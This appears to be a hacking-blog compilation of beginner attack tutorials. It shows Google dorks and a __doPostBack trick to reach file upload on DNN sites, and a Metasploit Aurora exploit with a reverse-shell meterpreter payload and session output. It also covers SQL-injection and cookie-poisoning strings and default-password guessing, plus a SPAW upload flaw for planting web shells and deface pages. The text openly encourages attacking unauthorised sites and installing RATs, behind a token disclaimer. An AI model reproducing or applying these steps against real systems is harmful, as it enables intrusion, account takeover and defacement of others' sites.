Hack a WEBSITE with DNN?

Pls read our Disclaimer

This is a really effective way of hacking a website. This way is very common and according to some researchers 10% of sites are vulnerable to this.
So to start first thing that we need is vulnerable site which can be found from the following dork :
inurl:"Fck/fcklinkgallery.aspx" (for all the sites)
inurl:"Fck/fcklinkgallery.aspx" site:{domain of site} (for specified attack)
NOW Select the third option and type following into the address bar:


javascript:__doPostBack(‘ctlURL$cmdUpload’,”)
Now if you are lucky and site is vulnerable a upload Bar will appear from which you can upload .txt .html or pictures from your computer in to the site.

Happy Hacking!!!!

NOTE:Haxorslodge will not be responsible for what you do with this information.Any malicious/illegal activity that you do falls completely on you because ...Technically this is just for you to test the security of your network ,site..

Hacking a Remote Computer or Web Server With Metasploit

Before continuing, read our Disclaimer

BEFORE I START LETS KNOW WHAT IS METASPLOIT
Metasploit is a Penetration testing tool by Rapid7

Download Metasploit here
Now install it.

METASPLOIT is an exploitation framEwork, written in Ruby.
It has a wide range of pre developed exploits and few usefull application like "nmap" attached with it.It was primarily developed for penetration testing but now it has come out to be must needed tool for hackers

So lets start hacking!
start msfconsole Start>Search>msfconsole
or in Linux ./msfconsole
Start by typing
Code:
help
It will show all commands.
Some stuff abOUt metasploit.

Exploits are methods by which u can get into another system
Payloads are stuff that are injected into other computers when u exploit them

What payloads can do?
They can execute commands or a special shell can function as a RAT(meterpreter).

What are encoders?
Encoders prevent detection by Anti-viruses

Okay now to the serious stuff!
in the console, u can exploit other computers, here i will show yhu aboutt the famous internet explorer Aurora hack.

#1 Windows IE Aurora
type in the following commands
Code:
msf > use exploit/windows/browser/ms10_002_aurora

msf exploit(ms10_002_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(ms10_002_aurora) > set LHOST (your IP)

msf exploit(ms10_002_aurora) > set URIPATH /

msf exploit(ms10_002_aurora) > exploit
Now it will show like this (but with ur ip)

Code:
[*] Exploit running as background job.

[*] Started reverse handler on port 4444

[*] Local IP: http://192.168.0.151:8080/

[*] Server started.
P.S:-Server is run on Ruby on Rails so u need to portforward.Do not know how? See Here Port Forward ME!!!

Open Internet Explorer on a vulnerable machine and enter the Local IP URL(i.e the Local IP that metasploit displayed here it is http://192.168.0.151:8080/) into the browser. If the exploit succeeds, you should see a new session in the Metasploit .

Console:
Code:
[*] Sending stage (723456 bytes)

[*] Meterpreter session 1 opened (192.168.0.151:4444 -> 192.168.0.166:1514)
msf exploit(ie_aurora) > sessions -i 1

[*] Starting interaction with 1...
meterpreter > getuid

Server username: WINXP\PakH3X0r
now type
Code:
shell
and u can toy with that computer!!!.
P.s:- to change passwords

Code:
net user [user_name] [new_password]
You can then install RATS or ur favorite tool..

WebHacking Basics For All Starters

Hello, this is just a short article about webhacking and the basics (mostly tips).
There’s not much to say, so here I’ll start…

1. Check for robots.txt
Usually the directory is hxxp://www.targetsite.com/robots.txt
This can contain plenty of information. Even though not all sites have it.
robots.txt is used to restrict the Google bot’s access in certain parts of a forum or a website.

It looks like this:

User-agent: *
Disallow: /forum/admin.php
Disallow: /forum/moderator.php
Disallow: /forum/include.php etc.


2. Check if site is vulnerable to SQL injections
This can be checked with a simple apostrophe at the end.
For example, hxxp://www.targetsite.com/news.php?id=1′
If the page displays an error, then the site is vulnerable.
You may now proceed on injecting more queries and drawing various information.

3. Check for common directories
Sometimes site administrators forget to rename the dirs and leave them as default.
It’s good to check for these directories as they can contain version info and other stuff that helps you determine if the site is vulnerable.
Common diretories are:

admin
admincp
mod
modcp
moderator
include
includes
logs
tmp
install

4. Port scanning
Gathering information about the server can also be useful.
Ping the site in cmd (you MUST know how to do this, if you don’t, then just leave) and scan the IP (and no, don’t limit the scan to 6000 as usual, f.ex 8080 is a common web port).
Don’t forget to check the site with nslookup, MaXe’s DNS guides cover this.
With this information you can figure out if the site has vulnerabilities and stuff.
Now you can connect with the open port threw telnet. The syntax is telnet IP(or hostname) port. For example, telnet google.com 25.
For example, if the site has port 25 open, which is the SMTP (Simple mail transfer protocol) we can send emails threw the server.
Or even better, imagine there’s port 3306 open. That’s the SQL port. Threw this you can access the site’s SQL database.
Download MySQL or something and try to clear your way in. You can try various combinations, like:

admin admin
admin root
root root
root admin

And so on. Though it’s quite possible that you won’t get anywhere guessing, so your best bet would be bruteforcing, dictionary attacks, rainbow tables or whatever can you afford.

5. Cookie poisoning
Even though most sites nowadays filter this, it wouldn’t hurt to try.
We will do this…with javascript.
It’s quite simple. Try this in the address bar.
javascript:alert(document.cookie);
In some cases this may spit out your username and password.
This is the part where you try the famous line…
javascript:void(document.cookie=”username=’OR’1′=’ 1″); void(document.cookie=”password=’OR’1′=’1″);
Similar to SQL injection, you guessed it.

6. Check if site is vulnerable to XSS
XSS and javascript together open up a huge horizon of possibilities and a whole lot of new places to discover.
Check if the site is vulnerable by typing this in a webform or something.

If site is vulnerable, then you will get a popup box saying awdwdadwd (yes this was random).

Defaced Spaw Upload Vulnerability

Spaw is a Vulnerability, you Can Upload your deface & Shell Easily in Vulnerable websites

Lets Start

We can find the vulnerable sites using these Google Dorks-

inurl:”spaw2/dialogs/”

inurl:”spaw2/uploads/files/”

You will get results Like this

“Index of/ spaw2/dialogs/” or

:site.com/abc/spaw2/uploads/files/abc/abc.pdf

Now replace the Spaw2/Uploads/abc/abc with this url-

spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files
For Example See this Example website after replacing the above url- Click here

Now you will Got a window like this-

If you want to Upload deface page then Select files option … and i f you want to upload shell then select image option and upload your shell as shell.php;,jpg